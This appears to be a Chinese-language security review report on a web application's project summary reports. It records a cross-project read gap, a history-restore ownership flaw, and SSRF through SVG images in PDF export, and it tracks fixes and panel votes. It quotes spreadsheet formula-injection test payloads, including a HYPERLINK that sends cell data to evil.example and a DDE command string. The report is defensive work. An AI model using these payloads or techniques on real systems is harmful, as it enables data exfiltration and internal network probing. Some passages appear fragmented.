檢查日期 2026-09-25|對應卡片 CM-2161(母卡 CM-2152)|檢查範圍 20 個檔案 1,658 行|工具 run ID
wf_e920735d-3bb|掃描版本e1c92303(feature/review)|驗證章verified
卡片最擔心的「同公司、不是專案成員的人,能不能看別的專案的摘要報告」——在目前主線上:看得到。 第 65 項掃描當時還沒修進主線(後已合回並隨 1.21.0 出貨)。修正分支(fix/security-b1,CM-2037)上五支讀取功能都補了守門,但還沒合回。修正分支上還留一個縫:「還原歷史版本」。它檢查了「你能不能動這份報告」,沒檢查「你拿來還原的那個歷史版本是不是這份報告的」。所以專案 A 的任何成員,都能把專案 B 某一版的稽核結論全文複製進自己 A 的報告裡讀出來。三人面板 0:3 否決了這條,但他們的理由只在「第 65 項還沒修」時成立(見 U9-1)。這是 U7 那個病的又一個長相:只認網址上那份報告,不認資料歸屬。
euadmin 不是專案 321 的成員,用他的身分查資料庫,整份摘要報告(含稽核結論全文、作者帳號)和歷史版本都撈得到。換成租戶 102 的帳號去查同一份就撈不到,代表資料庫隔離擋住了跨公司,只擋不住公司內跨專案。修正分支已修,但 CM-2037 還沒合進 feature/review。data:image/*(CM-892 的防線),但 data:image/svg+xml 也算在內。一張 SVG 圖裡可以再指向別的網址或伺服器上的檔案,PDF 產生器照樣會去抓。我在本機實測:伺服器對 127.0.0.1 發出了兩個請求,也能把本機檔案 file://… 的圖片內容嵌進 PDF。工具獨立找到同一條,三人面板 3:0 通過、評中。這是本棒唯一經面板背書的新項目。895db0ef8)已修,主線當時還沒修(後已隨 1.21.0 出貨)。「專案摘要報告」是稽核結束時寫的結論文件(富文本,可匯出 PDF),每次修改都留一版歷史、可以還原。另外本棒順帶掃了三張「專案↔︎稽核計畫/部門/系統特性」的關聯表程式,以及主專案包在身分套件(jedi-iam)外面的三支包裝(角色授權檢查、原廠帳號保護、帳號匯入範本)。
| 檔案 | 行數 | 角色 |
|---|---|---|
app/project_summary_report/service/project_summary_report_service.py |
178 | 摘要報告的新增、查看、修改、刪除、清單 |
api/project_summary_report/routes/project_summary_report_route.py |
170 | 摘要報告對外入口+PDF 匯出+富文本清洗 |
api/project/serializers/assessment_plan.py |
148 | 稽核計畫任務的輸入輸出格式(純宣告) |
common/util/audit_nickname.py |
87 | 把帳號換成暱稱顯示的共用小工具 |
app/auth/service/user_app_service.py |
122 | 原廠帳號不可被刪、停用、降權 |
app/auth/service/user_import_template_app_service.py |
106 | 產生帳號批次匯入範本 Excel |
app/auth/service/role_app_service.py |
94 | 角色不能被新增未授權模組的權限 |
api/project/__init__.py |
88 | 專案模組路由登記表 |
app/project_summary_report/service/project_summary_report_history_service.py |
77 | 歷史版本清單、單筆、還原 |
api/project_summary_report/routes/project_summary_report_history_route.py |
71 | 歷史版本對外入口 |
infra/associations/repository/project_assessment_plan_mapping_repo_impl.py |
71 | 專案↔︎稽核計畫關聯(資料庫存取) |
api/project/routes/project_route.py |
69 | 建立專案 |
app/associations/service/project_assessment_plan_mapping_service.py |
67 | 專案↔︎稽核計畫關聯(服務層) |
infra/associations/repository/project_system_characteristic_mapping_repo_impl.py |
59 | 專案↔︎系統特性關聯 |
domain/associations/service/project_system_characteristic_mapping_domain_service.py |
50 | 同上(領域層) |
app/associations/service/project_org_unit_mapping_service.py |
44 | 專案↔︎部門關聯 |
api/project_summary_report/__init__.py |
43 | 摘要報告路由登記表 |
infra/auth/root_admin_reader.py |
40 | 查某帳號是不是原廠帳號 |
infra/associations/repository/project_org_unit_mapping_repo_impl.py |
38 | 專案↔︎部門關聯 |
infra/project_summary_report/repository/project_summary_report_hitrosy_repo_impl.py |
36 | 歷史版本查詢 |
要回答的核心問題:摘要報告的資料表沒有「屬於哪家公司」的欄位,資料庫的保護規則是「專案看得到就看得到」。同一家公司內,不是這個專案的人,能不能讀或改別的專案的摘要報告?
| # | 這是什麼問題 | 出事會怎樣 | 要先有什麼才打得到 | 該補檢查的位置 | 嚴重度+為什麼 | 來源 |
|---|---|---|---|---|---|---|
| U9-2 | PDF 匯出允許 data:image/svg+xml 圖片,SVG 裡面可以再指向內網網址或伺服器本機檔案 |
在摘要報告裡貼一張特製 SVG 圖,按匯出,伺服器就去打內網網址(可探測內網服務),或把伺服器上的圖檔嵌進 PDF 帶走 | 能寫摘要報告的人(主線上:同公司任一登入帳號;修正後:該專案任一成員) | api/project_summary_report/routes/project_summary_report_route.py:48(src 只收 data:image/png、jpeg、gif、webp,排除 svg+xml);更穩的做法是 :166 產 PDF 時給 WeasyPrint 一個一律拒絕的 url_fetcher |
🟠 中:CM-892 當初要擋的就是「伺服器替使用者外抓網址」,這條把它繞過了;只能發 GET、一般看不到回應內容,但回應是圖片時會嵌進 PDF 帶走,也能嵌本機圖檔 | 工具 F1,面板 3:0(中、信心高)+runner 本機實測 |
| U9-1 | 還原歷史版本時,只檢查「你是不是這份報告所屬專案的人」,不檢查「你指定的歷史版本是不是這份報告的」 | 專案 A 的任何成員(連旁觀者 viewer 也行),指定專案 B 某一版的編號去還原自己 A 的報告,B 那一版的稽核結論全文就被複製進 A 的報告;再用正常畫面讀 A 就看到了。修正分支上一樣存在 | 是任一專案的成員+知道別專案某個歷史版本的編號(主線上第 65 項的歷史清單會直接給;修正後要靠別的管道外流) | app/project_summary_report/service/project_summary_report_history_service.py:50(取出歷史版本後,比對 history.report_id == report.id,不同就回 404;歷史版本查不到也要回 404,目前是 500) |
🟠 中:與第 94 項(問卷還原)同一型;讀到的是別專案的稽核結論,還會把自己專案的報告改掉。只在第 65 項修好後才是唯一的讀取路徑,主線上等同第 65 項 | runner 實測;工具 C3 面板 0:3 否決(理由見「工具報的逐條」),runner 不同意,請首腦裁 |
| — | 摘要報告清單、單筆、歷史清單、歷史單筆只驗登入,不驗專案成員 | 見第 65 項 | — | — | 中 | 工具 F2 面板 3:0;既有第 65 項,掃描當時主線未修(後已隨 1.21.0 出貨) |
| — | 帳號匯入範本把租戶、部門、角色名稱原樣寫進下拉分頁 | 見第 150 項 | — | — | 中(工具評低) | 工具 F3 面板 3:0;既有第 150 項重現,掃描當時主線未修(CM-2189,後已隨 1.21.0 出貨) |
現況(2026-10-01):本棒各條後來的處理結果如下(過程紀錄保留,不改)。
- U9-1(還原歷史版本不核歸屬,原 0:3 否決、首腦推翻)=總表第 205 項,✅ 已修(CM-2211,commit
fe928859f,1.21.0 出貨)。- U9-2(PDF 匯出 SVG)=總表第 204 項,✅ 已修(CM-2213,commit
a5804a990/bde8f9d16,1.21.0 出貨)。- 舊帳第 65 項 ✅ 已修(CM-2179,commit
94275d72f)、第 150 項 ✅ 已修(CM-2181,commit48638cbdb/套件2cb9d2cd),均隨 1.21.0 出貨。
主線上:讀得到,改不了。
project_summary_report_service.py:53(清單)、:78(單筆)、project_summary_report_history_service.py:29(歷史清單)、:36(歷史單筆)四支開頭都沒有「你是不是這個專案的人」這道檢查。清單那支的查詢條件全部非必填,送空請求就整批回來。:111、修改 :138、刪除 :164、還原 history_service.py:57 都有檢查;匯出 PDF 走 :100,也有檢查。euadmin(使用者 50,不是專案 321 的成員)的查詢身分,空條件查摘要報告表,撈到專案 321 的報告(b9804e7e…,稽核結論、作者 admin),歷史版本也撈得到;同一身分查成員表,確認他不是專案 321 的成員。換成租戶 102 的帳號去查同一份:0 筆。跨公司擋住了,公司內跨專案沒擋。cd9223592、b047d16e3)已在五支讀取加上檢查,清單改成只回「我參與的專案」,歷史清單的報告編號改成必填。還沒合進 feature/review,我讀過修正後的版本,讀取這一面是補齊的。module_frame_service.py 注入了這個服務、卻沒有呼叫它;三支沒人呼叫的方法(get_project_summary_reports、get_project_summary_report_by_id、add_project_summary_report)沒有對外入口,修正分支已刪(e2ffc2d4f)。唯一漏網的是 U9-1 那條「借還原來讀」。project_assessment_plan_mapping_service.py、project_org_unit_mapping_service.py、project_system_characteristic_mapping_domain_service.py 都沒有對外路由,只被 workflow_execution_service.py 等後端流程在內部呼叫,專案編號是流程自己算出來的,不是使用者給的。本棒範圍內不成立。順帶記一個不影響安全的小問題:project_assessment_plan_mapping_service.py:64 的「依專案刪除」實際呼叫的是「依編號刪除」(把專案編號當關聯編號刪),目前沒有人呼叫這支。user_import_template_app_service.py:範本帶的現有資料有沒有先中和公式字元成立,第 150 項已記,不另計。
:97 把租戶、部門、角色名稱原封不動寫進隱藏的下拉分頁。=HYPERLINK("http://evil.example/?x="&A1,"點我")、角色名設成 =cmd|' /C calc'!A0,產出的檔案裡這兩格被存成公式(<f> 標籤);+1+1、@SUM(1) 這類則存成文字。也就是 = 開頭的一定中,其他三個字元要看 openpyxl 怎麼判。895db0ef8)已改用 set_text_cell,主線還沒合。role_app_service.py/user_app_service.py:有沒有繞過套件守門直接改角色不成立。
role_route.py、user_route.py、routing.py。角色的新增、修改都走 role_app_service,有授權模組檢查;帳號的修改、刪除、改狀態、自助改資料四條都先呼叫 user_app_service 的原廠帳號檢查。role_service、不經包裝層,但授權模組檢查只管「新授予未授權的權限」,刪除和停用不會新授予,所以不需要經過包裝層。_is_protected(user_app_service.py:119)零件沒接上時「視為受保護」,是往安全的方向失敗,寫法正確。jedi-iam login_service.py:117),所以改了確實會登不進去。但能碰到原廠帳號的只有最上層租戶的人,他們本來就能改原廠帳號的密碼或 email,效果一樣。工具 C4 面板 1:2 否決,我同意不立項(見「工具報的逐條」)。root_admin_reader.py:誰能呼叫、回傳什麼欄位不成立。
user_app_service.py:122(刪、停、降權前問一句)、core/plugins/identity.py:259(登入時決定原廠帳號要不要豁免密碼過期)。都在伺服器內部,沒有對外路由。bool),查詢只選 User.id、不選任何帳號欄位。| 疑點 | 本棒有沒有 |
|---|---|
| 只驗「你是誰」,沒驗「這筆資料是不是你的」 | 有:U9-1(還原只驗報告、不驗版本歸屬);第 65 項(主線的四支讀取) |
| 只檢查了列表,沒檢查單筆 | 反過來:主線上寫入的單筆有守、讀取的列表和單筆都沒守(第 65 項) |
| 第二支路由沒掛 | 無。project_summary_report_route.py:24 一個類別掛兩條網址(有帶編號、沒帶編號),沒帶編號時 GET/PUT/DELETE 會因為少參數而回 500,屬錯誤處理不當、不是繞過 |
守門條件用 or 串起來、其中一條永遠成立 |
無 |
| 「查不到」與「沒權限」混成同一回應 | 摘要報告查不到回 404、沒權限回 403,兩者可區分,可以用來探測某個報告編號存不存在(編號是隨機 UUID,實務上猜不到,不另計) |
| 背景或系統身分假設「呼叫者一定是自己人」 | 關聯表三支都只被內部流程呼叫,編號由流程算出;不成立 |
| 防重放或計次只在單一程序有效 | 無 |
| 註解寫「刻意不檢查」、上一層也沒檢查 | 無 |
| 「零件沒接就放行」 | 有,但沒有實際影響:_require_participant(project_summary_report_service.py:40)在守門零件沒接上時直接放行。我核對過容器設定檔(di_containers/project/project_summary_report_containers.py),主線和修正分支都有接上 |
工具交回 5 條候選(主研究員 5 條,密鑰專掃 0 條),三人面板 15 票全投、零漏投:3 條 3:0 通過、1 條 0:3 否決、1 條 1:2 否決。
| 工具編號 | 說什麼 | 面板 | 對到哪 |
|---|---|---|---|
| F1 | PDF 匯出允許 SVG 內嵌圖,伺服器替使用者外抓內網網址 | 3:0 中(信心高) | 新=U9-2 |
| F2 | 摘要報告與歷史版本四支讀取不驗專案成員 | 3:0 中 | 第 65 項 |
| F3 | 帳號匯入範本的名稱被當成公式 | 3:0 低 | 第 150 項 |
| C3(否決) | 還原歷史版本不核版本歸屬 | 0:3 否決 | runner 不同意=U9-1 |
| C4(否決) | 原廠帳號保護沒擋「改到期日」與「換成別的最上層租戶角色」 | 1:2 否決 | 不立項(見下) |
C3 為什麼被否決、我為什麼不同意:三票理由幾乎一樣:「專案 A 的成員本來就能用沒守門的歷史讀取直接讀 B 的版本,再用修改功能貼進 A,還原沒多給能力。」這在主線上是對的,因為第 65 項沒修。但修正分支(CM-2037)已經把「直接讀歷史」補上守門,這時還原就成了唯一的路:get_project_summary_report_history_by_uid 讀不到 B 的版本,但還原不用先讀,只要知道編號就能直接把內容寫進 A。面板看的是主線,沒看修正分支,所以不知道這個前提會消失。我用假資料直接呼叫修正分支的服務程式實測,B 的內容確實被寫進 A 的報告,守門只問過 A 的專案(見「可信度」)。建議:與第 65 項併同一張修正卡,修法是在 history_service.py:50 取出歷史版本之後比對歸屬。與第 94 項(問卷還原)一模一樣的修法。
C4 為什麼被否決、我怎麼看:這條說原廠帳號保護只擋「拔超管旗標」「停用」「拔最上層租戶角色」,沒擋「把到期日改成過去」(到期後就登不進去)。我原本也懷疑過,查過套件後確認:登入時確實會檢查到期日(jedi-iam login_service.py:117 → user_entity.py:64,初稿誤寫成「登入不看到期日」,已更正)。但面板兩票指出,能碰到原廠帳號的只有最上層租戶的人,而這些人本來就能改原廠帳號的密碼或 email(守門刻意放行),效果一樣是把原廠鎖在門外。所以這條守門的定位是「防手滑」而不是安全邊界,漏擋到期日不給任何新能力。我同意不立項,但建議修 root admin 保護時順手把到期日加進擋的清單(一行)。
F1 補充:面板三票都讀到 WeasyPrint 預設的抓取器允許 http、https、ftp、file,與我的本機實測一致。
verified。U9-2 同時有面板 3:0 與我的本機實測兩層。U9-1 面板 0:3 否決,現在只有我的實測:我用假資料直接呼叫修正分支的服務程式,看到 B 版本的內容被寫進 A 的報告,守門只問過 A 的專案。U9-2 的實測是在本機起一個假伺服器,讓 PDF 產生器處理清洗過的內容,假伺服器收到了兩個請求。第 65 項在 DEV 用資料庫應用帳號唯讀實測。low),只有一位主研究員。| 項目 | 數值 |
|---|---|
| run ID | wf_e920735d-3bb |
| 報告目錄 | CLAUDE-SECURITY-20260925-070413/(不入版控) |
| 驗證章 | verified(stamp CLAUDE-SECURITY-REVISION-e1c923033405-dirty.json;dirty 是平行線未 commit 的改動,不在範圍內) |
| 掃描參數 | --effort low、focus attack-surface、範圍 20 檔 |
| 研究員 | 2 派 2 回(主掃 1+密鑰掃 1,密鑰零發現),零失敗、零重試 |
| 候選/投票 | 5 候選、15 票全投;3 條 3:0、1 條 0:3、1 條 1:2 |
| agent 總數 | 17 個,0 錯誤(1 個空結果=密鑰掃零發現) |
| 耗時 | 約 47 分鐘 |
| 淨新增 | 中 1(U9-2,面板 3:0+runner 實測)+待裁中 1(U9-1,面板 0:3 否決、runner 實測不同意);第 65/150 項重現不另計 |